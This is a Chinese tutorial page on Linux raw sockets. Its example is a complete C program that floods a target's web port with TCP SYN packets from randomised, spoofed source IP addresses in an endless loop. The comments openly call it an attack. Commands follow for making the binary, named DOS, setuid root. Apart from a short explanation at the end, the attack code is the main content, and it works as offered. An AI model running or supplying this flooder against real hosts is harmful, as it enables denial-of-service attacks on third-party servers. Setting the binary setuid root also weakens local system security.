zoukankan      html  css  js  c++  java
  • 九、原始套接字

    函数原型:

    int sockfd(AF_INET,SOCK_RAW,protocol);

    可以创建一个原始套接字,根据协议的类型不同我们可以创建不同类型的原始套接字,比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等。
    下面我们以一个实例来说明原始套接字的创建和使用:

    #include <stdlib.h>
    #include <stdio.h>
    #include <errno.h>
    #include <string.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    
    #define DESTPORT        80       /* 要攻击的端口(WEB)      */
    #define LOCALPORT       8888
    
    void send_tcp(int sockfd, struct sockaddr_in *addr);
    unsigned short check_sum(unsigned short *addr, int len);
    
    int main(int argc, char **argv)
    {
        int sockfd;
        struct sockaddr_in addr;
        struct hostent *host;
        int on = 1;
    
        if (argc != 2)
        {
            fprintf(stderr, "Usage:%s hostname
    a", argv[0]);
            exit(1);
        }
    
        bzero(&addr, sizeof(struct sockaddr_in));
        addr.sin_family = AF_INET;
        addr.sin_port = htons(DESTPORT);
    
        if (inet_aton(argv[1], &addr.sin_addr) == 0)
        {
            host = gethostbyname(argv[1]);
            if (host == NULL)
            {
                fprintf(stderr, "HostName Error:%s
    a", hstrerror(h_errno));
                exit(1);
            }
            addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
        }
    
        /**** 使用IPPROTO_TCP创建一个TCP的原始套接字    ****/
    
        sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
        if (sockfd<0)
        {
            fprintf(stderr, "Socket Error:%s
    a", strerror(errno));
            exit(1);
        }
        /********  设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写  ***/
    
        setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
    
        /****  没有办法,只用超级护用户才可以使用原始套接字    *********/
        setuid(getpid());
    
        /*********  发送炸弹了!!!!          ****/
        send_tcp(sockfd, &addr);
    }
    
    
    
    /*******  发送炸弹的实现   *********/
    void send_tcp(int sockfd, struct sockaddr_in *addr)
    {
        char buffer[100];  /**** 用来放置我们的数据包  ****/
        struct ip *ip;
        struct tcphdr *tcp;
        int head_len;
    
        /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度  ***/
    
        head_len = sizeof(struct ip) + sizeof(struct tcphdr);
    
        bzero(buffer, 100);
    
        /********  填充IP数据包的头部,还记得IP的头格式吗?     ******/
        ip = (struct ip *)buffer;
        ip->ip_v = IPVERSION;             /** 版本一般的是 4      **/
        ip->ip_hl = sizeof(struct ip) >> 2; /** IP数据包的头部长度  **/
        ip->ip_tos = 0;                   /** 服务类型            **/
        ip->ip_len = htons(head_len);     /** IP数据包的长度      **/
        ip->ip_id = 0;                    /** 让系统去填写吧      **/
        ip->ip_off = 0;                   /** 和上面一样,省点时间 **/
        ip->ip_ttl = MAXTTL;              /** 最长的时间   255    **/
        ip->ip_p = IPPROTO_TCP;           /** 我们要发的是 TCP包  **/
        ip->ip_sum = 0;                   /** 校验和让系统去做    **/
        ip->ip_dst = addr->sin_addr;      /** 我们攻击的对象      **/
    
        /*******  开始填写TCP数据包                           *****/
        tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
        tcp->source = htons(LOCALPORT);
        tcp->dest = addr->sin_port;           /** 目的端口    **/
        tcp->seq = random();
        tcp->ack_seq = 0;
        tcp->doff = 5;
        tcp->syn = 1;                        /** 我要建立连接 **/
        tcp->check = 0;
    
    
        /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^  **/
        while (1)
        {
            /**  你不知道我是从那里来的,慢慢的去等吧!      **/
            ip->ip_src.s_addr = random();
    
            /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
            /**            下面这条可有可无    */
            tcp->check = check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr));
            sendto(sockfd, buffer, head_len, 0, addr, sizeof(struct sockaddr_in));
        }
    }
    
    /* 下面是首部校验和的算法,偷了别人的 */
    unsigned short check_sum(unsigned short *addr, int len)
    {
        register int nleft = len;
        register int sum = 0;
        register short *w = addr;
        short answer = 0;
    
        while (nleft>1)
        {
            sum += *w++;
            nleft -= 2;
        }
        if (nleft == 1)
        {
            *(unsigned char *)(&answer) = *(unsigned char *)w;
            sum += answer;
        }
    
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return(answer);
    }

    编译一下,拿localhost做一下实验,看看有什么结果?(千万不要试别人的啊)为了让普通用户可以运行这个程序。
    我们应该将这个程序的所有者变为root,且设置setuid位

    [root@hoyt /root]#chown root DOS
    [root@hoyt /root]#chmod +s DOS

    原始套接字和一般的套接字不同的是以前许多由系统做的事情,,现在要由我们自己来做了。不过这里面是不是有很多的乐趣呢?
    当我们创建了一个 TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统。 系统在收到我们的数据后,会自动的调用相应的模块给数据加上TCP 头部,然后加上IP头部, 再发送出去。而现在是我们自己创建各个的头部,系统只是把它们发送出去。在上面的实例中,由于我们要修改我们的源IP地址, 所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的。

  • 相关阅读:
    std thread
    windows更新包发布地址
    How to set up logging level for Spark application in IntelliJ IDEA?
    spark 错误 How to set heap size in spark within the Eclipse environment?
    hadoop 常用命令
    windows 安装hadoop 3.2.1
    windows JAVA_HOME 路径有空格,执行软连接
    day01MyBatisPlus条件构造器(04)
    day01MyBatisPlus的CRUD 接口(03)
    day01MyBatisPlus入门(02)
  • 原文地址:https://www.cnblogs.com/tgycoder/p/5252092.html
Copyright © 2011-2022 走看看